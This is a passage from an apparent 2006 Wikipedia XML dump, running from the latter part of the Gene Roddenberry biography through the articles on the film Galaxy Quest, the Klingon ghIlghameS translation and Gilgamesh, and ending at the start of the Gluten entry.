He later transferred his academic interest to [[aeronautical engineering]] and qualified for a [[pilot licensing and certification|pilot's license]].  Roddenberry joined the [[U.S. Army Air Corps]] in 1941 and became an aviator.  He flew many combat [[B-17]] missions in the [[Pacific Theatre]] and was awarded the [[Distinguished Flying Cross (U.S.)|Distinguished Flying Cross]] and the [[Air Medal]]. After leaving the service, he was a commercial pilot for [[Pan American World Airways]] (Pan Am).

Roddenberry left Pan Am to pursue writing for television in Los Angeles. He fell back on his early training as a policeman and joined the LAPD. He served the LAPD from 1949 &amp;ndash; 1956. 

Roddenberry was married twice.  He had two children by his first wife, Eileen Rexroat (to whom he was married 27 years) &amp;mdash; Dawn, and the late Darleen.  His second marriage was to [[Majel Barrett]], who played Nurse [[Christine Chapel]] in the original ''Star Trek'' series, [[Lwaxana Troi]], and the voice of the computer in all of the ''Star Trek'' series with the exception of ''Star Trek:Enterprise''. They were married in Japan in a traditional [[Buddhist]]-[[Shinto]] ceremony on August 6, 1969. He had one child, [[Rod Roddenberry]], with Barrett.

Gene Roddenberry was a [[Secular Humanism|secular humanist]].{{ref|humanist}} After his death, a lipstick-sized capsule of his ashes was sent into space to orbit the earth for six years (after which they burned up in the earth's atmosphere).

==Television career==
Before ''Star Trek'', Roddenberry wrote scripts for many of the popular television series of the 1950s, such as ''[[Have Gun, Will Travel]]''.  He produced ''The Lieutenant'', a 1963-1964 NBC series about the [[United States Marines]]. He was also trying to get other science fiction series off the ground, mostly without success.

Roddenberry developed his idea for ''Star Trek'' in 1964. The series was finally picked up by [[Desilu Studios]]. The original $500,000 [[television pilot|pilot]] received minor support from NBC, but the network commissioned an unprecedented second pilot. The series premiered on [[September 8]], [[1966]] and ran for three seasons. Although it was cancelled due to low [[Nielsen Ratings|ratings]], the series gained wide popularity in [[Television syndication|syndication]]. 

Following the cancellation of ''Star Trek'', Roddenberry pitched four sci-fi tv series concepts that all had pilot movies produced but were not picked up; ''[[The Questor Tapes]]'', ''[[Genesis II]]'', ''[[Planet Earth (TV pilot)|Planet Earth]]'', and ''[[Strange New World]]''. He also co-wrote  and was executive producer on the made for TV movie, ''[[Spectre (movie)|Spectre]]'' (1977).

[[Image:Gene1.jpg|left|thumb|Roddenberry listens to a fan after a lecture at the University of Texas at Austin (late 1970s).]]

During the 1970s, Roddenberry also lectured at universities around the country. He amused the attendees with anecdotes from the ''Star Trek'' set, spoke of his visions of the future and showed the ''Star Trek Blooper Reel'', a collection of outtakes from the original series. Fans bestowed upon him the affectionate nickname &quot;The Great Bird of the Galaxy&quot; after a mythical creature referenced in &quot;Man Trap,&quot; the first aired episode of Star Trek.

Beginning in 1975, go-ahead was given by Paramount for Roddenberry to develop a sequel &quot;Star Trek&quot; television series based around as many of the original cast as could be recruited. This series was to be the anchor show of a new network, but plans by Paramount for this network were scrapped and plans were changed to do a Star Trek feature film. The result ''[[Star Trek: The Motion Picture]]'' had a lukewarm response, but nevertheless, several feature films and a new television series,  ''Star Trek: The Next Generation'', were created in the 1980s. Roddenberry was deeply involved with creating and producing ''[[Star Trek: The Next Generation]]'', although his involvement lessened in seasons 2 and 3 due to deteriorating health. ''Star Trek'' also spawned the television series ''[[Star Trek: Deep Space Nine]]'', ''[[Star Trek: Voyager]]'' and ''[[Star Trek: Enterprise]]''. 

Roddenberry only produced the first Star Trek film, ''[[Star Trek: The Motion Picture]]''. Due to cost overruns and a problematic relationship with the Paramount management, Roddenberry was ousted and replaced by [[Harve Bennett]]. He continued as executive consultant on the next four films - ''[[Star Trek II: The Wrath of Khan]]'', ''[[Star Trek III: The Search for Spock]]'', ''[[Star Trek IV: The Voyage Home]]'' and ''[[Star Trek V: The Final Frontier]]''. The last film based on the original ''Star Trek'' series, ''[[Star Trek VI: The Undiscovered Country]]'' was dedicated in Roddenberry's memory; he reportedly viewed a version of the film a few days before his death.

In addition to his film and TV work, Roddenberry also wrote the novelization for ''Star Trek: The Motion Picture'', which was published in 1979 and was the first of hundreds of ''Star Trek'' based novels to be published by [[Pocket Books]]. It has been claimed by some that [[Alan Dean Foster]] was the [[ghost writer]] of the book, but this has been debunked, although Foster did contribute to the film's screenplay. Roddenberry talked of writing a second ''Trek'' novel but died before he was able to do so.

==Controversy==
[[Image:Gene_Roddenberry - Star for TV.png|thumb|right|125px|Gene Roddenberry's Star on [[Hollywood, California|Hollywood's]] [[Hollywood Walk of Fame|Walk of Fame]].]]

Writers on ''Star Trek'' have charged that ideas they developed were later passed off by Roddenberry as his own, or that he lied about their contributions to the show at ''Star Trek''  conventions. Roddenberry was confronted by these writers, and apologized to them, but according to his critics, he continued to repeat the false claims.{{ref|contribs}}

In her [[autobiography]], actress [[Nichelle Nichols]] who played [[Uhura]] in the first ''Star Trek'' series, reported having had a love affair with Roddenberry. She felt that his strong and controversial inclination to get her on the show had a lot to do with their relationship.

Roddenberry's life and work has been favorably chronicled in the biography ''Inside Trek: My Secret Life with Star Trek Creator Gene Roddenberry'' by Susan Sackett, his close associate for 17 years. The book has been described as inaccurate by his critics.

Despite his reduced management of ''Star Trek'' near the end of his life, Roddenberry was still respected enough that [[Paramount Pictures]], owners of the various ''Star Trek'' series, agreed to his request that the ''[[Star Trek: The Animated Series|Star Trek Animated Series]]'' not be considered [[Canon (fiction)|canon]] by the studio. According to the reference work ''The Star Trek Chronology'', Roddenberry reportedly considered elements of the fifth and sixth Trek films to be apocryphal, though there is no indication that he wanted them removed from Trek canon.

In 1987, Roddenberry first made a public statement, at a science fiction junket, in a response to a fan's question, that the ''Star Trek: The Next Generation'' television series would address what it was like to be [[gay]] in the science fiction future. This would be done in a similar fashion to the way the original series had dealt with ethnicity and gender. Fans still debate to what extent this Roddenberry statement was fullfilled and what is the definitive role of [[LGBT characters in the Star Trek universe|LGBT Characters in The Star Trek Universe]].

==Legacy==
After his death in 1991 in [[Santa Monica, California]], Roddenberry's estate allowed the creation of two long-running television series based upon some of his previously unfilmed story ideas and concepts. ''[[Earth: Final Conflict]]'' and ''[[Andromeda (TV series)|Andromeda]]'' were produced under the guidance of Majel Barrett-Roddenberry. A third Roddenberry storyline was adapted in 1995 as the short-lived [[comic book]] ''Gene Roddenberry's Lost Universe''.

There is an asteroid called [[4659 Roddenberry]] and a [[Impact crater|crater]] on [[Mars (planet)|Mars]] that were named in his honor.

==Notes==
# {{note|humanist}} Interview in ''The Humanist'', March/April 1991
# {{note|contribs}} See ''Gene Roddenberry: The Myth and the Man Behind Star Trek'' by Joel Engel, books by Star Trek Producer Herb Solow, science-fiction convention talks by Star Trek writer Dorothy C. Fontana, and books and articles by [[Harlan Ellison]].

==External links==
* [http://www.pathcom.com/~boby/gene.htm Eugene Wesley &quot;Gene&quot; Roddenberry]
* [http://www.museum.tv/archives/etv/R/htmlR/roddenberry/roddenberry.htm The Museum of Broadcast Communication]
* [http://www.trek5.com/lowerdecks/genepitch.html Roddenberry's original March 1964 pitch outline for Star Trek]
* [http://www.philosophysphere.com/humanist.html Originally published in ''The Humanist'', March/April 1991]
* [http://www.iclnet.org/pub/resources/text/cri/cri-jrnl/web/crj0147a.html Strange New Worlds: The Humanist Philosophy of Star Trek] by Robert Bowman,  ''Christian Research Journal'', Fall 1991, pp. 20 ff.
* {{imdb name|id=0734472|name=Gene Roddenberry}}
* [http://www.nndb.com/people/503/000022437/ NNDB]

{{Persondata
|NAME=Roddenberry, Eugene Wesley
|ALTERNATIVE NAMES=Roddenberry, Gene
|SHORT DESCRIPTION=American scriptwriter and producer
|DATE OF BIRTH=[[August 19]], [[1921]]
|PLACE OF BIRTH=[[El Paso, Texas]]
|DATE OF DEATH=[[October 24]], [[1991]]
|PLACE OF DEATH=[[Santa Monica, California]]
}}

[[Category:1921 births|Roddenberry, Gene]]
[[Category:1991 deaths|Roddenberry, Gene]]
[[Category:American television producers|Roddenberry, Gene]]
[[Category:American television writers|Roddenberry, Gene]]
[[Category:American World War II veterans|Roddenberry, Gene]]
[[Category:Atheists|Roddenberry, Gene]]
[[Category:English Americans|Roddenberry, Gene]]
[[Category:Humanists|Roddenberry, Gene]]
[[Category:People buried in space|Roddenberry, Gene]]
[[Category:People from Texas|Roddenberry, Gene]]
[[Category:Science fiction writers|Roddenberry, Gene]]
[[Category:Star Trek behind the scenes|Roddenberry, Gene]]

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  <page>
    <title>Galaxy Quest</title>
    <id>13149</id>
    <revision>
      <id>41809311</id>
      <timestamp>2006-03-01T22:12:07Z</timestamp>
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      <minor />
      <comment>/* Cast */ incredibly -&gt; incredible</comment>
      <text xml:space="preserve">{{Infobox Film|
  name     = Galaxy Quest|
  image          = Galaxy Quest poster.jpg|
  director       = [[Dean Parisot]]|
  producer       = [[Elizabeth Cantillon]]|
  writer         = [[Robert Gordon (screenwriter|Robert Gordon]]|
  starring       = [[Tim Allen]],&lt;br /&gt;[[Sigourney Weaver]],&lt;br /&gt;[[Alan Rickman]],&lt;br /&gt;[[Tony Shalhoub]]|
  distributor    = [[Dreamworks Pictures]]|
  released   = [[December 23]][[1999]] ([[Canada]])&lt;br /&gt;[[December 25]][[1999]] ([[United States|USA]])|
  runtime        = 102 min. |
  language = English |
  imdb_id        = 0177789 |
  music          = |
  awards         = |
  budget         = $45,000,000 (estimated) |
  tagline        = The show has been cancelled...but the adventure is just beginning. |
}}
'''''Galaxy Quest''''' is a [[1999]] [[film|motion picture]] written by [[Robert Gordon (screenwriter|Robert Gordon]] and [[David Howard]] and directed by [[Dean Parisot]], starring [[Tim Allen]], [[Sigourney Weaver]], [[Alan Rickman]], and [[Tony Shalhoub]].  

The movie is about the washed-up stars of a [[1978]] - [[1982]] TV series called ''Galaxy Quest'' (a parody of the original ''[[Star Trek]]'' series). In ''Galaxy Quest'', they actors were the crew of the [[NSEA Protector]]. They now find themselves in a real intergalactic adventure, thanks to some highly intelligent extraterrestrials (from &quot;Thermia&quot;) who, having no concept of [[fiction]] or even [[lies|false]], believe the show to be a series of &quot;historical documents.&quot;  Not knowing that all of the show's [[technology]] was the product of special effects, the aliens sought to emulate it, managing to actually create the Protector exactly as shown on the show.

The movie won the [[Hugo Award]] for [[Hugo Award for Best Dramatic Presentation|Best Dramatic Presentation]] in the year [[2000]], beating the four other nominees: ''[[Being John Malkovich]]'', ''[[The Iron Giant]]'', ''[[The Matrix]]'', and ''[[The Sixth Sense]]''.

Portions of the movie were filmed in [[Goblin Valley State Park]], [[Utah]], [[United States|USA]].

The DVD release of the film included an alternate audio track in which dialogue from the film is overdubbed with alien gibberish.

== Plot summary ==

{{Spoilers}}

Between 1978 and 1982, the adventures of the crew of the ''NSEA Protector'' thrilled audiences of ''Galaxy Quest'', a ''Star Trek''-like cult science fiction television show. Unfortunately for the actors playing that crew, it's now eighteen years later, and they're now washed-up hasbeens, reduced to convention appearances in front of over-obsessed fans and opening shopping malls to pay the bills. Variously resentful, embittered and resigned about their fates, the only one who gains any sort of pleasure out of the adoration aimed at them by their doting fans is Jason Nesmith, the egomaniacal star and 'Captain' of the crew, who laps up their enthusiasm - yet even he is unhappy, deep down aware that he is resented by his other stars and largely considered a laughing stock by many of his fans.

At one convention, Jason is approached about what he thinks is a personal solo appearance by a group of even-more-unusual-than-usual fans; everything goes to normal (although seems remarkably realistic) until, having cursorily ordered the destruction of the video representation of the 'evil alien overlord' Sarris, he leaves - and when he finds himself shooting through the galaxy in a rubber transportation suit, only then does he realise that everything is real. It transpires that the 'fans' are Thermians, a pleasant and peaceful alien race who, having received twenty-year old transmissions of ''Galaxy Quest'' from Earth, have interpreted the show as 'historical documents' and have structured their entire society around the 'teachings' of the show, going so far as to build an exact replica of the ''NSEA Protector''.

Jason, naturally, loves the idea of being the hero to a ''real'' alien race, and ropes his reluctant fellow actors into joining him as his 'crew'. Unfortunately, just as the ''Protector'' is real, so to are the dangers it must fact - and Sarris, not just a character, is a terrifyingly real nemesis, an evil and ruthless warlord engaged in a genocidal war of annihilation with the Thermians. The actors, in order to help their alien friends, must therefore adopt their roles on the show for real...

== Galaxy Quest and Star Trek ==
The movie parodied everything from the technology of ''Star Trek'' to the ''Star Trek'' [[convention]]s. The [[parody]] is mostly friendly (some Star Trek fans refer to it good-humoredly as &quot;the best Star Trek movie ever made&quot;), and was widely appreciated by [[science fiction]] fans.  

As an acknowledged homage to ''Star Trek'', there are a variety of correspondences between the world of ''Galaxy Quest'' and the world of ''Star Trek''. The television program within the film, ''Galaxy Quest'', is set around the starship ''[[NSEA Protector]],'' an instrument of the '''National Space Exploration Agency'''; thinly veiled replicas of the ''USS Enterprise NCC-1701'' and '''Starfleet''', respectively. 

A promotional website was set up by the film production company. It was intentionally designed to look like a poorly constructed fan website, with &quot;screen captures&quot; and poor [[HTML]] coding. This was a reference to the countless similar websites devoted to ''Star Trek''.

Despite the overarching similarities to ''Star Trek'', the film has more original dramatic and comedic merit than many spoof comedies, if it is to be considered one.  For instance, [[Mel Brooks]]' ''[[Spaceballs]]'', while a broad-hitting spoof of mostly ''[[Star Wars]]'', with a few jabs at ''Star Trek'', may deliver less to a viewer not already familiar with ''Star Wars''.  Conversely, most of the plot, themes, and subplots of ''Galaxy Quest'' can be followed and appreciated by those who know little to nothing about ''Star Trek'', although [[Trekkie]]s will usually either have a richer appreciation or a deeper dissatisfaction with the film, as a neutral response may be difficult to find in such circles.  

===Cast===
* '''Commander/Captain Peter Quincy Taggart''' (both titles are used), played by '''Jason Nesmith''' ([[Tim Allen]]), is an almost perfect analogue of [[James T. Kirk]]/[[William Shatner]]; Taggart has a reputation for losing his shirt at the flimsiest excuse, rolling on the ground during combat, and making pithy speeches at the drop of a hat, while Nesmith is an egomaniac who regards himself as the core of Galaxy Quest, and tells fans to 'get a life', possibly parodying [[William Shatner|William Shatner's]] famous appearance on [[Saturday Night Live]], in which he tells fans to do the same thing.

*'''Dr. Lazarus of Tev'Meck''', played by '''Sir Alexander Dane''' ([[Alan Rickman]]), is a member of an alien species renowned for logic; he is deeply intelligent and has psionic abilities. Additionally, he has a non-standard weapon and a repeated catchphrase (&quot;by Grabthar's hammer, you shall be avenged!&quot;). In these regards, he parodies [[Spock]] and possibly [[Worf]].  He also has quite interesting toilet facilities designed for his anatomy.  Sir Alexander Dane is a tired ex-[[Royal Shakespeare Company|RSC]] actor who resents his typecasting; in this regard he combines elements of [[Leonard Nimoy]] and a rather skewed portrayal of [[Patrick Stewart]] (or possibly a reference to [[Alec Guinness]]). Lazarus' speeches often reflect a pseudo-religious bent, in the manner of [[Benjamin Sisko]], [[Kira Nerys]] and [[Chakotay]].

*'''Lieutenant Tawny Madison''', played by '''Gwen DiMarco''' ([[Sigourney Weaver]]), is the Computer Officer of the Protector, and performs communications duties. Essentially her job boils down to listening to and then directly repeating orders to and information from the ship's computer (she is also the only person who can talk to the computer). She also wears a highly form-fitting uniform. In this manner she is similar to [[Uhura]] and [[Deanna Troi]]. The physical representation of the character is very similar to [[Dr. Crusher|Beverly Crusher]] and the name Gwen DiMarco recalls the actress playing Crusher, [[Gates McFadden]]. Gwen herself, at least in the semi-canonical promotional material for the film, sees herself as a trailblazer, and defends the importance of her admittedly &quot;stupid job&quot; - her pronouncements are similar to some of [[Nichelle Nichols]].

*'''Tech Sergeant Chen''', played by '''Fred Kwan''' ([[Tony Shalhoub]]) is the Chief Engineer ('Tech Sergeant') and Transporter ('Digital Conveyor') Operator. He is similar in appearance to [[Pavel Chekov]] and has a similar delivery; his name, [[Chen]], is a common [[Chinese language|Chinese]] name, even though he has an apparent [[European]] ancestry.  This may parody the often muddled national identities of ''Star Trek''. For instance, ([[Noonien Soong]] has a puzzlingly Chinese/[[Korean name|Korean]] name, but is demonstrably neither). Alternatively, it may be a reference to the old Hollywood practice of using Eastern Europeans to play East Asian characters. His dialogue and role in the film also parody [[Montgomery Scott]]. This is made amusing due to the fact that the actor Fred Kwan is a stoned, burnt-out ex-hippie who treats every situation with incredible mellowness, in contrast to Scotty's often frantic warnings of impending doom.

*'''Lieutenant Laredo''', played by '''Tommy Webber''' ([[Daryl Mitchell]]), is the very young 'boy wonder' helmsman, much disliked by fans. In this respect, he is similar to [[Wesley Crusher]]. He is also the only non-alien minority member of the crew, parodying [[Token character|token black]] characters like [[Uhura]], [[Geordi LaForge]], and [[Tuvok]]. Ironically, the character of Webber, now roughly in his twenties, takes a relatively minor role in the movie's [[Screenwriting|third act]], making Webber himself a token black.

*'''Crewman Number 6/Security Chief 'Roc' Ingersol''', played by '''Guy Fleegman''' ([[Sam Rockwell]]), begins the story as an occasional [[Redshirt (character)|redshirt]] who is played by a 'Questerian' ([[Trekkie]]) and small-time actor who still lives with his mother. His new persona as 'Roc' Ingersol at the end of the film and his role as 'plucky comic relief' has similarities to a number of Star Trek cliches.

*'''Sarris''', the evil villain, bears the name of highbrow film critic [[Andrew Sarris]].

===Events===
* The ''NSEA Protector'' leaves spacedock, grinding and denting its hull as it goes; this echoes [[Star Trek VI: The Undiscovered Country]].

* Additionally, the entire sequence of leaving the spacedock is a mock tribute to lenghty sequence in [[Star Trek: The Motion Picture]].

* ''The Protector'' can separate into two parts, in the manner of the ''Enterprise-D'' of ''Star Trek : The Next Generation''.

* Travel through the bowels of the Protector is assisted by the service ducts, similarly to the [[Jefferies tube]]s. These service ducts are filled with nonsensical things like giant fans, flaming vents and useless giant pistons called &quot;chompers&quot;, all things that really do not belong in a service duct.

* ''The Protector's'' matter-energy technology, the 'Digital Conveyor', is a standard science fiction [[teleporter]], and so is necessarily similar to the Star Trek transporter. The interesting correspondence is in the name for the device's employment: the command to operate it is 'digitise', recalling the 'energise' command in Star Trek.

* The Thermians take the Galaxy Quest TV Show as the basis for their entire society, as in the TOS episode, [[A Piece of the Action]].

* The Galaxy Quest relaunch TV series takes place &quot;eighteen years after the original adventure&quot;; [[Star Trek: The Next Generation]] was launched eighteen years after [[Star Trek]] was cancelled. 

* The ''Galaxy Quest'' score is overblown, dramatic and brassy, parodying Star Trek scores, notably the theme tune to The Next Generation. Ironically, the Galaxy Quest theme is used in the Internet video series [http://www.hiddenfrontier.org Star Trek: Hidden Frontier].

* Facing an enormous rock monster (a concept itself from an early script from ''[[Star Trek V: The Final Frontier]]''), Nesmith is advised by Webber to &quot;go for its eyes, like in episode 22&quot;. This may be a reference to ''Star Trek VI''. Guy then tells him to &quot;fashion some sort of rudimentary lathe&quot;. This echoes a variety of incidents in ''Star Trek'' (particular the original series episode ''[[Arena (Star Trek)|Arena]]'') in which a crew member constructs an elaborate piece of equipment from few materials.

* At the Galaxy Quest convention, there is a shy girl who imagines a romance between Madison and Taggart, referencing the common phenomenon of [[shipping (fandom)|shipping]].

* Jason looses his shirt during battle with the rock monster (which Alexander comments on). In TOS, Capt. Kirk frequently lost his shirt during battle with aliens and/or rogue crewmen.

== Quotes ==
{{wikiquote|Galaxy Quest|Galaxy Quest}}
===Quotes from the Film===
* &quot;By Grabthar's hammer... what a savings.&quot; - Sir Alexander Dane,  appearing as &quot;Dr. Lazarus&quot; at the opening of an electronics superstore.
* &quot;Ducts! Why is it '''always''' ducts?!&quot; - Gwen DiMarco, referencing [[Aliens (film)|Aliens]], in which [[Sigourney Weaver]] has the [[Ellen Ripley|main role]].
* &quot;Well, fuck '''that!!'''&quot; - Gwen DiMarco, upon seeing the chompers for the first time; the word &quot;fuck&quot; is censored via muting, but her face is still visible as she says the word.
* &quot;Oh, that's not right.&quot; - Guy, sixth crew member
* &quot;Guy... maybe you're the plucky comic relief. You ever think about that?&quot; - Fred Kwan, when Guy fears he is a [[Redshirt (character)|red shirt]].
* &quot;How adorable! The actors are going to play war with me!&quot; - Sarris, during the final confrontation.
* &quot;Never give up, never surrender.&quot; Captain Peter Quincy Taggart, motto for the crew.
* &quot;So you managed to get your shirt off.&quot; - Dr. Lazarus to Taggart after he survives the rock monster.
* &quot;And then it exploded.&quot; - Ted, after the strange alien creature fails to teleport.
* Gwen DeMarco: &quot;Alex, you had a part people loved. I mean, my TV Guide interview was six paragraphs about my ''boobs'' and how they fit into my suit. No one bothered to ask me what I do on the show.&quot;&lt;br/&gt;Fred Kwan: &quot;You were... umm, wait...&quot;&lt;br/&gt;Gwen DeMarco: &quot;I repeated the computer, Fred.&quot;
* Sir Alexander Dane: &quot;You broke the ship. You broke the bloody ship.&quot; After the [[beryllium]] sphere breaks
* Fred Kwan: &quot;It's the simple things in life you treasure.&quot; To Guy as they watch the Rock Monster attack Sarris' men.
* Guy: &quot;Don't open that! It's an alien planet! Is there air? You don't know!&quot; ''(takes a deep breath)'' &lt;br/&gt; ''(Fred sniffs the air and then takes a few deep breathes)'' &lt;br/&gt; Fred: &quot;Seems okay.&quot;

==Reaction From Star Trek Regulars==
* I had originally not wanted to see ''Galaxy Quest'' because I heard that it was making fun of ''Star Trek'' and then [[Jonathan Frakes]] rang me up and said ‘You must not miss this movie! See it on a Saturday night in a full theatre.’ And I did and of course I found it was brilliant. Brilliant. No one laughed louder or longer in the cinema than I did, but the idea that the ship was saved and all of our heroes in that movie were saved simply by the fact that there were fans who did understand the scientific principles on which the ship worked was absolutely wonderful. And it was both funny and also touching in that it paid tribute to the dedication of these fans. - [[Patrick Stewart]]
*  I've had flashbacks of ''Galaxy Quest'' at the many conventions I've gone to since the movie came out. I thought it was an absolute laugh-a-minute. - [[Tim Russ]]
* I thought it was very funny, and I thought the audience that they portrayed was totally real, but the actors that they were pretending to be were totally unrecognizable. Certainly I don't know what Tim Allen was doing. He seemed to be the head of a group of actors and for the life of me I was trying to understand who he was imitating. The only one I recognized was the girl playing [[Nichelle Nichols]]. - [[William Shatner]] sending himself up.
* Yes, I have seen ''Galaxy Quest'' and no, it's not really like that. - [[Casey Biggs]] [http://memory-alpha.org/en/wiki/Damar]
* I '''loved''' ''Galaxy Quest''. I thought it was brilliant satire, not only of Trek, but of fandom in general. The only thing I wish they had done was cast me in it, and have me play a freaky fanboy who keeps screaming at the actor who played &quot;the kid&quot; about how awful it was that there was a kid on the spaceship. Alas. - [[Wil Wheaton]].

== See also ==
*[[Trekkies]], a documentary film about Star Trek convention goers.

== External links ==
*[http://www.amazon.com/galaxyquest/ &quot;Official Website&quot;] hosted by [[Amazon.com]]
*{{imdb title|id=0177789|title=Galaxy Quest}}
*[http://www.questarian.com/ Fan site]
*[http://scifiscripts.name2host.com/msol/GALAXY_QUEST.txt Early script]
*[http://www.hwcn.org/~ag775/gq/index.htm Fan fiction site]

[[Category:1999 films]]
[[Category:Comedy science fiction films]]
[[Category:Fictional fictional characters]]
[[Category:Fictional television]]
[[Category:Science fiction Westerns]]
[[Category:Time travel films]]
[[Category:American films]]

[[de:Galaxy Quest]]
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[[sv:Galaxy Quest]]</text>
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  </page>
  <page>
    <title>GhIlghameS</title>
    <id>13150</id>
    <revision>
      <id>24339268</id>
      <timestamp>2005-09-29T19:25:10Z</timestamp>
      <contributor>
        <ip>217.159.163.109</ip>
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      <text xml:space="preserve">{{lowercase|title=ghIlghameS}}
'''''ghIlghameS''''' is the [[Klingon language]] translation of the [[Babylon|Babylonian]] ''[[Epic of Gilgamesh]]''. [[Paramount Pictures]] owns the copyright to the translation.

A bilingual paperback edition (ISBN 1587153386) was published in 2000.

{{ST-stub}}

[[Category:Epics]]
[[Category:Star Trek]]</text>
    </revision>
  </page>
  <page>
    <title>Gilgamesh</title>
    <id>13151</id>
    <revision>
      <id>42109239</id>
      <timestamp>2006-03-03T22:01:47Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/204.210.255.172|204.210.255.172]] ([[User talk:204.210.255.172|talk]]) to last version by Rmarghi</comment>
      <text xml:space="preserve">{{Mesopotamian myth (heroes)}}

According to the [[Sumerian king list]], '''Gilgamesh''' was the fifth king of [[Uruk]] (Early Dynastic II, first dynasty of Uruk), the son of [[Lugalbanda]]. Legend has it that his mother was [[Ninsun]], a goddess.

According to another document, the so-called ''History of Tummal'', Gilgamesh, and eventually his son Urlugal, rebuilt the sanctuary of the goddess [[Ninlil]], located in Tummal, a block of the [[Nippur]] city.

In the ''[[Epic of Gilgamesh]]'' it is often said that Gilgamesh ordered the creation of the legendary walls of Uruk. In historical times, [[Sargon of Akkad]] claimed to have destroyed these walls to prove his military power.

Fragments of an epic text found in Me-Turan (modern Tell Haddad) relate that Gilgamesh was buried under the waters of a river at the end of his life. The people of Uruk diverted the flow of the [[Euphrates]] river crossing Uruk for the purpose of burying the dead king within the riverbed. In April 2003, a German-led expedition discovered what is thought to be the entire city of Uruk - including, where the Euphrates once flowed, the last resting place of its King Gilgamesh.

Despite the lack of direct evidence, most scholars do not object to consideration of Gilgamesh as a historical figure, particularly after inscriptions were found confirming the historical existence of other figures associated with him: kings [[Enmebaragesi]] and Aga of [[Kish (Sumer)|Kish]]. If Gilgamesh was a historical king, he probably reigned in about the [[26th century BC]]. Some of the earliest Sumerian texts spell his name as ''Bilgamesh''.

In most texts, Gilgamesh is written with the determinative for divine beings (''DINGIR'') - (''Tenger'') - [[Tangra]], but there is no evidence for a contemporary cult, and the [[Sumer]]ian Gilgamesh myths suggest the deification was a later development (unlike the case of the [[Akkad]]ian god-kings). Historical or not, Gilgamesh became a legendary protagonist in the [[Epic of Gilgamesh]].

==Gilgamesh in popular culture==
[[Image:Gilgamesh Enkidu cylinder seal.jpg|left|thumb|250px|Gilgamesh and [[Enkidu]], cylinder seal from [[Ur]] III]]

Sumerian Gilgamesh has inspired several works in modern popular culture:

* ''[[Gilgamesh the King]]'' by [[Robert Silverberg]].
* The book &quot;How like a god&quot; by Brenda W. Clough is based on the epic.
* &quot;[[Gilgamesh (Final Fantasy)|Gilgamesh]]&quot; appears in various incarnations in the ''[[Final Fantasy]]'' series.
* The hero of [[Namco]]'s ''[[Tower of Druaga]]'' and its sequels is also named Gilgamesh.
* &quot;Gilgamesh&quot; is also a character in TV series [[Xena: Warrior Princess]].
* An [[Gilgamesh (anime)|anime show]] by the same name, aired in 2003.
* &quot;Gilgamesh&quot; is a Japanese rock band.
* &quot;Gilgamesh&quot; were a British band 1972 - 1978. They released two albums &quot;Gilgamesh&quot; (1975) and &quot;Another Fine Tune You've Got Me Into&quot; (1978)
* In the [[Marvel Comics]] [[Marvel Universe|universe]], a character known as the [[Forgotten One (comics)|Forgotten One]] claimed to have been the historical Gilgamesh.
* ''[[Gilgamesh (opera)|Gilgamesh]]'', an [[opera]] by [[Serbia|Serbian]] composer [[Rudolf Brucci]] based on the Epic.
* Gilgamesh is also a character in the game [[Fate/stay night]], produced by [[TYPE-MOON]].
* ''[[Darmok (TNG episode)|Darmok]]'', an episode of [[Star Trek: The Next Generation]] is inspired by the tale of Gilgamesh.
* Gilgamesh appeared in Timewyrm: Genesys, the first novel of the Doctor Who New Adventures.
* ''[[Gilgamesh (movie)|Gilgamesh]]'', by the film director Roger Christian ([[Pre-production]]).
* ''[[The Norton Anthology of World Literature, Beginnings to A.D. 100, Volume A, Second Edition]]'' pp. 10-12.
* ''[[In the Skin of a Lion]]'' by [[Michael Ondaatje]] contains themes from &quot;[[The Epic of Gilgamesh]]&quot;.
* In ''[[Highlander: The Series]]'', Gilgamesh was rumored to be the first immortal ever recorded by a &quot;watcher&quot;, and would be the sole reason behind the formation of the watcher organization.
* In [[Namco]]'s [[Tales of Symphonia]], a title Zelos Wilder can earn.
* &quot;Gilgamesh&quot; is a character in [[David Gemmel|David Gemmel's]] Sipstrassi Stones series of books.
* &quot;Gilgamesh Wulfenbach&quot; is a character in [[Phil Foglio|Phil]] and [[Kaja Foglio|Kaja]] Foglio's series of ''[[Girl Genius]]'' comics.
* &quot;Gilgamesh&quot; is one of the answers in [[John_Locke_(Lost)|John Locke]]'s crossword in the [[Lost_(TV_series)|Lost]] episode [[Episodes of Lost (Season 2)#Collision|Collision]]
* &quot;Gilgamesh&quot; is an Argentinean comic book series by Robin Wood.
* &quot;Gil Gamesh&quot; is a major character in [[Philip Roth|Philip Roth's]] novel [[The Great American Novel (Roth)|The Great American Novel]].  In the book, Gamesh is a sinister, Babylonian pitcher who attempts to kill an umpire.
* &quot;Project Gilgamesh&quot; attempts to create a supersoldier, but instead creates a villain named Bane, in ''[[Batman: The Animated Series]]''.
* The Novel &quot;To the Land of the Living&quot; By Robert Silverberg. Is a major adaption of the legend.. and so much more.

==See also==
*[[Epic of Gilgamesh]]
*[[Chaldean mythology]]
*[http://news.bbc.co.uk/2/hi/science/nature/2982891.stm BBC News (April 2003): Gilgamesh tomb believed found]
*[http://www.strippedbooks.com/comics/stripped03/gilgamesh01.html Stripped Books: Stephen Mitchell on Gilgamesh -- Comics-form adaptation of a talk by translator/poet Stephen Mitchell about the epic poem]


[[Category:Sumerian mythology]]
[[Category:Mythological kings]]

[[ar:گلگامش]]
[[bg:Гилгамеш]]
[[ca:Gilgamesh]]
[[da:Gilgamesh]]
[[de:Gilgamesch]]
[[es:Gilgamesh]]
[[fr:Gilgamesh]]
[[ko:길가메시 서사시]]
[[is:Gilgamesharkviða]]
[[it:Gilgamesh]]
[[he:גילגמש]]
[[ku:Gilgameş]]
[[nl:Gilgamesh]]
[[ja:ギルガメシュ]]
[[no:Gilgamesj]]
[[pt:Gilgamesh]]
[[ru:Гильгамеш]]
[[sr:Гилгамеш]]
[[fi:Gilgamesh]]
[[sv:Gilgamesh]]
[[th:กิลกาเมช]]</text>
    </revision>
  </page>
  <page>
    <title>Gluten</title>
    <id>13152</id>
    <revision>
      <id>41484428</id>
      <timestamp>2006-02-27T17:52:40Z</timestamp>
      <contributor>
        <ip>66.147.129.130</ip>
      </contributor>
      <comment>/* Maladies caused by gluten */</comment>
      <text xml:space="preserve">:''For the food product made from gluten see [[Wheat gluten (food)]].''
[[image:Wheat.jpg|thumb|right|200px|Wheat - a prime source of gluten]]

